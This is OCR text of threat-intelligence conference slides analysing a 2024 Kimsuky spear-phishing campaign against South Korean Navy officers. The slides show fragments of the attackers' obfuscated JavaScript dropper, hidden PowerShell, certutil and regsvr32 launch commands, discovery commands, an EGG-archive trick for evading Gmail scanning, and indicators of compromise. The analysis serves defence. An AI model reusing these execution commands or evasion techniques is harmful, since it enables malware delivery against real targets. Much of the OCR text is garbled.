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Do you know Little Red Riding Hood?

* Everyone knows the story of Little Red Riding Hood,
where a young girl is deceived by a cunning wolf
disguised as her grandmother

* This story shows a striking similarity to the social
engineering tactics used in the hacking activities of
Kimsuky, a North Korean government-sponsored
hacking group.

* We compared the hacking activities of Kimsuky, which
took place in June 2024, to the story of Little Red Riding
Hood
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How The Wolf Put Little Red Riding Hood in Danger?

* Reconnaissance (1/2)
- Kimsuky used the professional networking platform LinkedIn

- Information on potential targets is readily accessible on LinkedIn

Career

Navy Command and Control Navy Communications
g(f)]:pmunlcatlons (C3) Planning Navy HQ Software Infrastructure Officer
Icer . i Development/Integration Officer Fleet Command Weapons/Combat
Navy C4l Interoperability Officer ) )
Navy Surface Combat Officer Systems Officer
Fleet Command Operations Fleet Task Force Communications
Planning Officer Planning Officer

Republic of Korea Naval Academy Republic of Korea Naval Academy Republic of Korea Naval Academy

Information about victims approached by Kimsuky via LinkedIn




How The Wolf Put Little Red Riding Hood in Danger?

* Reconnaissance (2/2)

1. The LinkedIn profile setup screen where users can provide detailed information about their career,

education, and skills

2. The screen showing a search for Republic of Korea Naval Academy on LinkedIn

oA«:lc! to profile

Set up your profile in minutes with a resume

Get started

Manual setup

Core

ners and peopie

Add about
Add education
Add position

Add services

@ L et s 1 —— N S

Republlc of Korea Naval Academy
he Sea! To the World! \ ome 1o the ROK Naval A m
e
Home About Posts Jobs Alumni
123 alumni
Where they work + Add Where they live + Add
gy e ve—rrony
== e




How The Wolf Put Little Red Riding Hood in Danger?

* Resource Development (1/6)

Venue only
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How The Wolf Put Little Red Riding Hood in Danger?

* Resource Development (2/6)

Venue only
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How The Wolf Put Little Red Riding Hood in Danger?

* Resource Development (3/6)

Venue only
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How The Wolf Put Little Red Riding Hood in Danger?

* Resource Development (4/6)

Venue only
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How The Wolf Put Little Red Riding Hood in Danger?

* Resource Development (5/6)

Venue only
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How The Wolf Put Little Red Riding Hood in Danger?

* Resource Development (6/6)

- N\
1 STARK servers  SSLcertificate = Methodsofpayment FAQ  Contacts Logintobilling )
'Y INDUSTRIES )

1. Kimsuky verified the registration information of

YoUrSarveris the IP address linked to the attack server domain

now ready! g/ , 2. Kimsuky set up its attack infrastructure using a

Place an order - and get ready hosting

with all amenities in 30 minutes " VPS/VDS se rver prOVider

3. This provider does not require any email or phone
number verification during account registration

4. Additionally, the service costs can be paid using

- P e e cryptocurrency

— Registrant

— B IP Address

Organization
proposalo.p-e.kr STARK INDUSTRIES

- 95.164.62.157

[ I vamboo.n-e.kr SOLUTIONS LTD.

Server IP Address Registration Information
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How The Wolf Put Little Red Riding Hood in Danger?

* Initial Access (1/6)

Venue only
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How The Wolf Put Little Red Riding Hood in Danger?

* Initial Access (2/6)

Venue only
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How The Wolf Put Little Red Riding Hood in Danger?

* Initial Access (3/6)

— Upon checking the email header of the spear-phishing email, it was confirmed that the email
passed all email authentication protocol checks

- As aresult, the receiving mail server recognized the spear-phishing email as a legitimate,
unaltered message and considered the sender to be trustworthy

Email Authentication Protocol Authentication Result Meaning of PASS

The sending IP is included in the domain's
allowed list.

DKIM (DomainKeys Identified Mail) PASS The digital signature is valid, and the email has

not been altered.

SPF (Sender Policy Framework) PASS

ARC (Authenticated Received SPF or DKIM passed successfully, making the

Chain) PASS message trusted.
DMARC (Domain-based Message . .
RuthenticationiReporting & PASS The sending domain is not spoofed and has

passed SPF or DKIM verification.

Conformance)

Email Authentication Protocol Results
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How The Wolf Put Little Red Riding Hood in Danger?

* Initial Access (4/6)

- In the spear-phishing email, analysis of the "Received" field revealed the IPv6 address of the sending
mail server

— The IPv6 address of the mail server that sent the phishing email was part of the IP range belonging to
the Microsoft Datacenter in Seoul, South Korea

— The selection of a mail server by Outlook when sending emails may be based on the IP geolocation at
the time of account creation

— This suggests that the phishing email sent by Kimsuky was processed through a Microsoft server in
Seoul because the account was created using a South Korean IP geolocation

IP Details For: 2a01:111:f403:d40f::1

Expanded:
2a01:0111:f403:d40f:0000:0000:0000:0001
- - - - - Hostname: mail-
Received-SPF: pass (google.com: domain of gojangjs@hotmail.com designates koreacentralazolkn1907110001.outbound.pr
2a01:111:f403:d40f::1 as permitted sender) [€lient=ip=2a01:111:£f403:d40f::1;
Authentication-Results: mx.google.com; »
dkim=pass header.i=@hotmail.com header.s=selectorl header.b=CirBgzjf; ASN: 8075
arc=pass (i=1); ISP: Microsoft Limited

otection.outlook.com

spf=pass (google.com: domain of gojangjs@hotmail.com designates

2a01:111:f403:d40f::1 as permitted sender)

smtp.mailfrom=gojangjs@hotmail.com;

dmarc=pass (p=NONE sp=NONE dis=NONE) header.from=hotmail.com Country: Korea (the Republic of)
JARC-Seal: i=1; a=rsa-sha256; s=arcselector9901; d=microsoft.com; cv=none; State/Region: Seoul-teukbyeolsi

Services: Datacenter
Likely

City: Seoul
Latitude: 37.5663 (37° 337 58.72" N)
Longitude: 126.9772 (126° 58’ 37.93” E)

CLICK TO CHECK BLACKLIST STATUS

Microsoft Datacenter Located in Seoul, South Korea
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How The Wolf Put Little Red Riding Hood in Danger?

* Initial Access (5/6)

Venue only
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How The Wolf Put Little Red Riding Hood in Danger?

* Initial Access (6/6)

To understand why Kimsuky used an EGG compressed file, we conducted experiments to
replicate their hacking activity

In the first experiment, malicious JavaScript was compressed into both ZIP and EGG formats,
then sent via Google Drive links to a Gmail account

The ZIP file was detected by Gmail's virus scan, but the EGG file was not
A second experiment compressed a PE (Portable Executable) file into an EGG format
In this case, Gmail's virus scan successfully detected the malicious content

The experiments suggest that JavaScript malware compressed in EGG format can evade Gmail's
virus scanning when sent via Google Drive links

JSE_maware_zip ) ) Ransomware_TEST
B o e ’ R SRR e e hitps-//drive google com/file/dp-Vmmzg1_2KCM3CkKIbEVSty4NL -M1j6
Gmai One attachment + Scanned by Gmal
- = One attachment - Scanned by Gmail ©
Attachment scanning in Gmail ZIP : Detection Attachment scannin: g in Gmail
1G] G © safe Go
« r* Forwan “ ~ '

W’ NSHC
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Attachment Scanning in Gmail
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How The Wolf Put Little Red Riding Hood in Danger?

* Execution (1/2)
— Kimsuky tricked the target into downloading a compressed file from a Google Drive link
- The downloaded file contained malicious JavaScript

- When the target executed it, a PE (Portable Executable) malware was ultimately triggered

.
Linked [T} o
Social Network Service(SNS) g;ﬂfﬁ
<o
REPUBLIC OF KOREA NAVY
A
é = |nitial Access: Social Engineering Delivery = &
Kimsuky @ Google Drive Li k
o] (Cloud Stor g e Ser
R
%ﬁ;’i Do wnI ad
EPUBLIC OF KOREA NAYY

!
=
=

I

1
5 &

Kimsuky's Hacking Activities Conducted in June 2024
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How The Wolf Put Little Red Riding Hood in Danger?
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6. 2NN BURE =710
Q\bTUUNqO.dataT\/pe = "bin.base&4";
kAb7uUNgO.text = KkASEj9BxJUS; E i Data: kASEj9BxJUS Ul 1

aXemWUOLe31SP71 =

wk81IC3usiPLv.Open() ;
wk81IC3usiPLv.Type =
wk8

wk81IC3usiPLv.Close() ;

kAb7uUNgO.nodeTypedValue;
wk81IC3usiPLv = new ActiveXObject ("7 < am") ;

IC3usiPLv.Write (aXemWUOLe31SP71) ;
wk81IC3usiPLv.SaveToFile (\\..\\ProgramData\\rX18i3d.uvy™M, 2);

wkB81IC3usiPLv.Close();
try {
, true);

WScript.Sleep( *
} catch (e) {}

oﬁl IC3usiPLv.SaveToFile (\\..\\ProgrambData\\rX18i3d.uvym, 2):
if (mWgXU7x.FileExists(\\..\\ProgramData\\rx18i3d.uvyYM)) {

w6k4Qa5s5.Run (powershell.exe -windowstyle hidden certutil -decode
\\..\\ProgrambData\\rx18i3d.uv¥YM \\..\\ProgramData\\v1lswWwgGH.hx21,

):

* Execution (2/2)

1. The malicious JavaScript executes a decoy PDF

to trick the target

2. It decodes embedded PE malware within the

script

3. Depending on whether the file is an EXE or DLL,
different PowerShell commands are executed

to trigger the malware

Powershell Command

powershell.exe -windowstyle hidden cmd /c cmd /c

regsvr32.exe /s /n /i:qazsel23

\\..\\ProgramData\\vIsWgGH.hx21

powershell.exe -windowstyle hidden cmd /c cmd /c
\\..\\ProgrambData\\wZHSRs3.qBzm —user

PowerShell Commands to Trigger the Malware
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How The Wolf Put Little Red Riding Hood in Danger?

lexndﬂﬁr = cOLuDIN. crnatchlcmr‘ntﬂ SAME") ; ¢ Defense EvaSion (1/2)

kJiKndBET.dataType = "bir
kJiKndBET. text = chHdapumzq, .-’,-" Encoded Data: cgJHdapumzg "JTVBERi[...]" : H
weuhATx3xTsloclr? = kJikndBB8T.nodeTypaedValue: 1' Obfuscated Ja\/ascrlpt Malwa re
nTpsiDEXriNuf = new ActiveXObject ("ADODE.Stream™):
nTpsiDPXriNuf.Open() ; .
ATpeiDPXCINUE. Type = 17 2. Data RC4 Encryption
nTpsiDPXriNuf.Write (weuhTx3xTs0olr2) ;
nTpsiDPXriNuf.SaveToFile (\\. \\ProgramData‘\\2E2HdEx . pdf, 2}: 3
nTpsiDPErjNuf.Close () ; .
if (mWgXU7x.FileExists (M. .\\ProgramData‘\\2E8 2827 .pdf)) {
try |
whikdADa5s5 . Run (""", E jramDat . AR ST pdEN ")
} catch (=) {

Hiding Encrypted Data Using Fake PDF Headers

e egﬂz.tmp.tmp
RC4A key encrypted with RSA public key
) oAT2tmpenc Offset(h) 00 01 02 03 04 05 06 07 03 0% OA OB OC 0D OE OF
Offser(d) 00 01 02 03 04 05 96 67 0B 05 10 11 12 13 24 15 1€ 17 18 18 20 21 22 23 , 00000000 25 50 44 46 2D 31 2E 37 2E 2E 34 20 30 20 6F 62 $PDF-1.7..4 0 ob
L] 00 < «B.e 2 ® < =
BB o et s e 6 e 00000010 A 89 A7 €6 BA E5 87 81 65 F2 92 09 OD 78 C4 6B j%§t°a+.ed’..xAk
¥4 25 F5 94 A 3F 30 DS 63 FC $1.09°18 06 99 DB 4C 97 €D 44'0A CB 80 74 40. 00000020 3F 15 S8F 60 A4 AC AS 82 65 EB FB 96 E3 SD 8D S8 ?2.. 'm-¥,e&d-3).X
& O AR ” 8 4€ E3 2A 7C 1 8 7% 78 DD ED 27 C & "CA‘ & A, - N
et e R R ,',,”,’L,‘;,,;u 00000030 F7 SB 78 82 FE 85 8A IC 77 F9 A7 1F 1D 33 5D 22 ={{,p.S5.wuS..3]"
SE 51 20 FD 20 SE 'S4 8F AB FO OA 7D BA 4B CB 3C DS 185 AS 3E 15 3% 64 42 2Q y 2T.«d.}°XE<@. >.'daB 1 1 '~ 2 =7 -l e
40 65/B3 A5 27 F7 2962 70 ¥3 11 92 00 FO 08 33 33 9C 15 8D ¥O 10 DS 7C B.‘.'V'~)bx¢.'.6.03’..6.5| 00000040 A e U UB S e - !EhAsZy:. x.?(;u
$2 8F 323D 'EB 28 C2°03 ER FB SF €0 €3 57 E8 2C 26 48 D7 A3 6E 85 OF 30 B.2=&"E.40_lcWé, tM=in, 00000050 13 DO SE 09 Al 11 A2 74 Fl1 88 AD 54 D4 1A 38 34 .P*.j.ctid".TO.8:
e /c.1" WL (1 00000060 36 OD 03 FS 7F AS 10 EC 21 FS 59 99 79 1D F3 6D 6..1.6.i!sY™y.um
A3 6C DE SC S4 SD 3X RS AC 3D E2 S¥ 33 B4 52 5308 31 CB FR FE CE 86 AE nou’gg -—e_;ﬂ‘t : e 00000070 SC D1 25 SA DC OD Cl 62 4F S8E S8F E1 74 03 DB Be \Nsz¥.AboZ.ac.0g
A 33 12 €8 33 D3 4F 31 20 14 44 3% 73 FO £ €3 FF 08 SC SF 95 A ZA TS Ji.KIGO), DEe8IMOIRTEs 00000080 D2 32 895 €C C8 D2 F3 26 80 EF E2 BE 01 A4 CE 6D O2%1EGOs€id%.uim
FCAS SP BLAA 7C P4 DI 25 A3 CA 84 D8 40 C& 79 55 ST 33 AZ 3C £Z8 or 42 u-_:‘lbOIL!'Q'?l'{JHJ&O.N 00000090 54 E FD 5: e AB 73 90 3‘D lA DB E"] 5'] Ee 95 45 aZy .«{ -’.U"WC'
0D 5% FF 84 EA €€ F9 EF FC C5 3 5C S9 A8 C7 35 EE 46 7A EL AS D8 A9 2D .Uy.énuicffeY (SiFzéecoo- - - . a -
A¥ D2 FF 3C 28 2D D3 £3 B8 EC'27.C7 33 0B 22 3F €F FDCE FD C2 CT A8 C2 “0<(.0€€1°53."20pIyAT A 00000020 2 35 11 34 2B 4E 77 8B 18 48 DS C2 31 AO DF C3 AS.4+Nwc¢ .HUALl 8A
R R e TR S L T e ERGE 000000BO 01 OC 36 04 E6 AS EF 32 CO D5 65 20 6F 00 37 7A ..6.=¥i2A0e 0.7z
. 000000CO AD 15 7F €8 Dé 1B 94 E8 02 82 DC 71 3A 4B 59 ...h30.~e.,U0q:KY
Compressed flle encrypted with RC4 key =< = =5 X S e
000000D0 02 FE 07 A8 A7 OF 7C DE 09 91 C5 E1 21 S5E 8C BC .b."S.|B.‘Aa!" "G
ZA8: 140 ST
Fake PDF header Checksum[4byte] XOR Key[16byte] Encoded Data
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How The Wolf Put Little Red Riding Hood in Danger?

* Defense Evasion (2/2)
— Used Software like VMProtect to Pack the Malware

— Control flow, data, and bit/byte manipulation techniques match VMProtect's obfuscation methods

Encrypts data, decrypting only during execution
NEG Inverts values to hide data
NOT Flips bits to impede analysis
JMP Alters code flow to impede analysis
CALL Dynamically calls functions to complicate flow
THREAT Q ECON BSWAP Reorders bytes to confuse data
—————— ROL Rotates data left to modify it
. ROR Rotates data right to modify it
q ?”m M::mm S A SAR Shifts bits right to complicate structure
" . =" = N SAL Shifts bits left to complicate structure
The same warning message as VMProtect appears Control flow, data, and bit/byte manipulation techniques

WY/ NSHC 21




How The Wolf Put Little Red Riding Hood in Danger?

* Discovery & Collection

— Collecting system information using LotL (Living off the Land) strategy

T T

systeminfo Retrieves basic system information %ProgramFiles%, Program installation
powershell Get- %ProgramfFiles(x86)% directories
Clmlnstanc_e -Namespace Retrlgves information about installed %ProgramData%\Microsoft\
root/SecurityCenter2 - antivirus software Windows\Start Startup programs
Classname AntivirusProduct directory
Menu\Programs
ipconfig /all :T] i’(c)rrl:aetsi.onnetwork Inier e %AppData%\Microsoft\ Recent files
Windows\Recent directory
Retrieves ARP (Address Resolution fil
arp -a i ‘ %UserProfile%\Deskto Desktop files
Protocol) cache table information ° o\ p directory
Retrieves system user account D load
net user . _ . ownloads
information %UserProfile%\Downloads s,
Retrieves logged-in user session Documents
uery user . _ 9 100
query TR %UserProfile%\Documents e
System Information Collection Commands File Listing Target Main System Paths
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How The Wolf Put Little Red Riding Hood in Danger?

* Command and Control & Exfiltration

1. The collected information is transmitted in a form disguised as a PDF document

2. The command and control data is disguised as a PDF format to evade detection

- :iziru:: o8 l;d'::.wu-\l per dsi[Feea) a
R TACAT iFPD2 |cany rad el
: o TEST canyan Sub_1808284B8( (int)&17, 4, 1, vi1);
- - O el nTanoaan A —— 3T r— sub_18002AAB8( [ int) s 1, 128, vil);
b ER_ 8. T e if { CrypticquireContexti(d . Bi8d4, L"Microsoft Enhanced Cryptographic Provider vi 8", lu, 8xFO80884a) )
ri0=ceind net. METDENGRequestes {
if { Cryptlmportiey( . 03, »4, 0164, @, L]
L EEWE:O0OO0OOTFEFIBCCOCE kakasserviceupdate. dib: fCOCE sBDCE ) CryptDec _|_'l: [@], ®iss, @, @, (%7 ] . B IH
WMEE | gpuE2 | seEREd | ssEEd | gumES | B IAI | k- BD | o 228 }' theleaseContext( » B
LT
uuuuuuuuuuuuuuuuuu if { CryptacquireContexti(& o Bidd, 2ig4, lu, exFolaO0Rd) )
CODOOOOO0II0NEL0| To [
QOOOO00 T ID0E S0 one
BOOG00007 TDOED | EA if F . BBRB3u, aiss, 8, & ']
DORIOO00 2 200F 10 [
if » {const E ) 3 2 B)
B o BxEEElu, » 8, & ¥
T P W 1 i &
1 = @igq;
ey - - 736 30% Td6 Lax d 7o Shad B 484 THI @ L 08 Lo 1;5715?.@?.{:‘&((3 » » L7WBT);
i
hokdl | wd) Appleebiit/E17, M (EWTHL, ike Gecko] Chesse 9.8, NP3, 560 Safard /207, 04 { i )
da
{
_— T A = sub_l888@AsBe((int)viz, 1, 4896, v1l);
= sub_lB@@ZABTE(.11);
e - - [ (S5 g A S i if ( lcryptecrypuivis, @i6s, 1, @, » Bv13) )
break;

Data Sent to the Attack Server via HTTP POST Method
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Who is The Wolf?

* Similarities found with Kimsuky cases analyzed by Malwarebytes, InQuest, AhnLab, and

ESTsecurity
* These incidents are believed to be the work of the same threat group

A\
L

Kimsuky

ST e R e T S ey e

May 2021 May 2024 June 2024

v ! !

b 3 2 3

South Korean Ministry of Foreign Europe Defense Industry South Korean Navy

v e s

v
& & & &

2| WS JHEF 2021-05-07.pdf jse Safety Manager JD (General Dyna:-- HFEA] jse

£ £ £ £

2T 1fbtn.oN5L(DLL) WZHSRs3.qBzm(EXE) vIsWgGH.hx21(DLL)

gIK7UWV.pR9a(DLL)
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Who is The Wolf?

* The Malware used exhibited similar behavior and structure
 Similar to the PE-format Malware used by Kimsuky, also known as AppleSeed

May 2021, Target: Target: South Korean Ministry of Foreign May 2024, Target: Europe Defense Industry June 2024, Target: South Korean Navy
A Beey ¢
]
¥ i + + - - - - - - - )
: + + +
] Singe s e s o
& u1my It e W e
3 T
Typedvalae
R B .
4 Jivee 4 ve e s ey
. ) 9 2
2 KutnsDP + 1\ o ) [ o )
ey o ¢ > ¢ . o :
7 PuXNSa04N . Run ( + dSOiKuénsDP + h2: )
)} cateh (&)
1 ! = WwEk4Qasas. Run( * hglefnrigzu + 231 -] )
Y ) ) catch (o) |
)
Sasesss B
S¥upesss +
Irawsss: .
. ) . . + vany
. o2 + DR (
2
© ESotkutash » 1 + 2 + axcrantydo, ©)
[= 4 dXCRXhFIRAO)) ( .
} b - + - x e " »
' + "4 + "4 + e ;’ ¥ =
. . + GXCRXBFIKA0 +
+ + Mduvoss
WSeript.Sleep( e o ):
7

v = 8; 5] 9472 tmptmp
DeleteFileW({az);
S Cffset(h) 00 Ol 02 O3 04 O5 06 07 08 0% OR OB OC OD QE OF
00000000 25 50 44 46 2D 31 2E 37 2E 2E 34 20 30 20 €F 62 3PDF-1.7..4 0 ob I
00000010 J6A 89 A7 86 BA E5 87 81 €5 F2 92 09 0D 78 C4 6B Jjk§t°8%.ed’..xhk

00000020 3F 15 8F €0 A4 AC A5 82 &5

=

B FB 96 E3 5D 8D 58 ?.. n-¥,eé@-3].X

00000030 F7 SB 7B 82 FE 85 8A 1C 77 F9 A7 1F 1D 33 5D 22 =[{,pb.5.was..3]"

00000040 1D 21 45 €8 C2 SA 32 FF 8F OA 97 4C D8 E7 75 2D .!EnhA32y. —LBgu-

BelB96a(phEuTfer, Bi64, 256164); 00000050 13 DO SE 09 Al 11 A2 74 F1 88 AD 54 D4 1A 38 34 .B~.;.ctd".TO.8:

if ( CryptacquireContextW(&phProv, @i64, @i64, lu, BxFOGGB8808) ) 00000060 36 OD 05 F9 7F AS 10 EC 21 F8 55 85 75 1D FB &D 5; .@:i!?Y”'y.\?m

00000070 5C D1 25 S5A DC OD Cl 62 4F SE 8F E1 74 03 DB Bé \H:zZU.AboZ.atc.U9

if ( CryptGenRandom(phProv, dwien, pbBuffer) && CryptCreateHash(phProv, @x8ee3u, @is4, 9 00000080 D2 32 85 &C CE D2 F3 26 50 EF E2 BE 01 R4 CE 6D O2W1ECO&Eid%.wim

00000080 E4 8E FD SF 8D AB 7B 90 3D 1A DB F7 57 E€ 85 4B &Zy .«{.= - K

if ( CryptHashData(phHash, pbBuffer, dwLen, @) & CryptDeriveKey(phProv, 8x68@1lu, phhy 000000RO 2 35 11 32 28 4E 77 8B 12 48 DS C2 31 RO DE C3 LS. 4+4Nwe .HURL B4

Q000000BO 01 OC 36 04 E6 AS EF 32 CO D5 &5 20 6F 00 37 7TA ..6.=2¥i2AC0e 0.7z

if ( CryptAcquireContextw(&hProv, 8i64, L"Microsoft Enhanced Cryptographic Provider cocogoco 7 ES 02 82 DC 71 3R 48 58 ...h30.7&., Uq:KY

000000D0 09 91 C5 E1 21 SE 8C BC .p. §.|P. Ad!" "B

if ( CryptImportkey(hProv, a3, a4, @i64, @, &hKey) ) Qi 140 SOj&T|

CryptEncrypt(hkey, @ic4, @, @, pbBuffer, &dwlen, Bx108u);

CryotReleaseContext (hProv. 8): ’ ! ’ Fake PDF header Checksum[4byte] XOR Key[16byte] Encoded Data

\

-
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Who is The Wolf?

* Attack server IPs and domains matched previous Kimsuky infra
* They were also found to use the same hosting providers

= 0 = W0 =

216.189.157.89 45585573 210.16.121.137 [Hosting] Tucows Domains 94.131.120.80 [Hosting] LH =21 .EH= 95.164.62.157

=

®@ © ®

\

® @

® ® e ©® e

texts.letterpaper.press onedrive-upload.ikpoo.cf cuinm.huikm.kro.kr download.uberlingen.com online.viewers.r-e.kr ecloud.uberlingen.n-e.kr share.dihl-defence.o-r.kr nerot.r-e.kr vamboo.n-e.kr proposalo.p-e.kr
L x = x
South Korean Ministry of Foreign Europe Defense Industry c4c9a1dc528d41ac1988f65db62fAca-- South Korean Navy
May 2021 May 2024 June 2024
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Why did The Wolf target Little Red Riding Hood specifically?

* Kimsuky targeted Korea Naval Academy graduates who currently or previously held key
roles in Navy communications and information systems

- Kimsuky’s hacking is likely part of North Korea's plan to secure maritime superiority, following the
May 26, 2024 statement by Vice Minister of National Defense, Kim Kang-il

- Wolf likely sought intelligence on South Korea's naval operations and strategies to prepare for
potential maritime conflict

Kim Kang-il, Vice Minister of National Defense, announces speech
Registration date: : 2024.05.27.

U] Announcement of statement by Vice Minister of National Defense Kim Kang-il (May 26, Labor and Central
Committee)

o While criticizing ROK-US aerial reconnaissance, leaflet scattering, and NLL patrols, shifting responsibility
for the situation on the Korean Peninsula to our side and threatening a military response

- (Aerial reconnaissance) “Violation of national sovereignty and security,” “Major cause of military tensions”
- (Anti-North Korea leaflets) “Psychological manipulation scheme,” “Dangerous provocation that can be used
for military purposes,” “We will respond to the act of scattering waste,” “Scattering in ROK border areas and

deep-rooted areas soon”

- (Maritime patrol) “Formal warning to exercise self-defense power on the surface and underwater at any
moment,” “We must make them fear the maritime border that we have declared.”

Kim Kang-il's Statement Released on the Ministry of Unification's North Korea Information Portal
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https://nkinfo.unikorea.go.kr/nkp/trend/view.do?menuId=MENU_494&trendMngNo=132762

Lesson and Learned

*  Kimsuky used LinkedIn to collect information on Navy communications and information
systems personnel to select targets

* They built trust and approached targets using stolen personas and similar email addresses

* Delivered malware via spear-phishing emails using Google Drive links and EGG files, and
obfuscated the malware with VMProtect and RC4 encryption to evade detection and
analysis

* This analysis has provided a clearer understanding of Kimsuky's tactics and strategies,

offering a critical foundation for tracking future threats and strengthening response
strategies
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Indicators of Compromise

| Filename  |FileFormat|  SHA25%6 | Delivery Method
AEYHAHEEKX] egg
EGG 66710F1ES5FDFCAS8BBD4681E979BF42192B118426DB6891D43DED6F57A2115D75
(Stress Survey.egg)
AEGAMEEX] jse
. JSE 5BC6637ECED9464FC22E6666A4EEB5B6559DA85BCC60446EF5C43248B807F646 .
(Stress Survey.jse) LinkedIn message
vIsWgGH.hx21 DLL D66C69B99E978727D5FFDF75AB0C969B80C297DD41A648F97BF241264E62AFCS
rX18i3d.uv¥YM DATA 39B5E5CA7E8DFB1B446C793C1187609E013BC70EAEEB12324809B3223C47B801
HEX].egg
EGG F6D41367670803D3439FCES5C7C7D882FF1BDB7F1DFBA3C29CD7A2D69418BA645
(Survey.egg) Lo
MBX| jse Spear-phishing
(SE Ir_e '_Se) JSE F16C81B9B5FF62AE8D82D717D835BF521E5A531040F6A5F3196D56A9C51FA7AC email
urvey.j
WZHSRs3.qBzm EXE FB17B8D46F75E9CB956972500312932F46BE99FF2359653CBCC6B24AASDF2FFB
h11PnCO0.cc4V DATA D39B9FDEAA6336FEDB63BCB1962A1A1AES6B28C74C2118AF345DCB5AC26D9994
. ooman | P

vamboo.n-e.kr
proposalo.p-e.kr

95.164.62.157
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Joint Security Analust Conference

THANK YOU

We Always Welcome
Your Comments and Feedback
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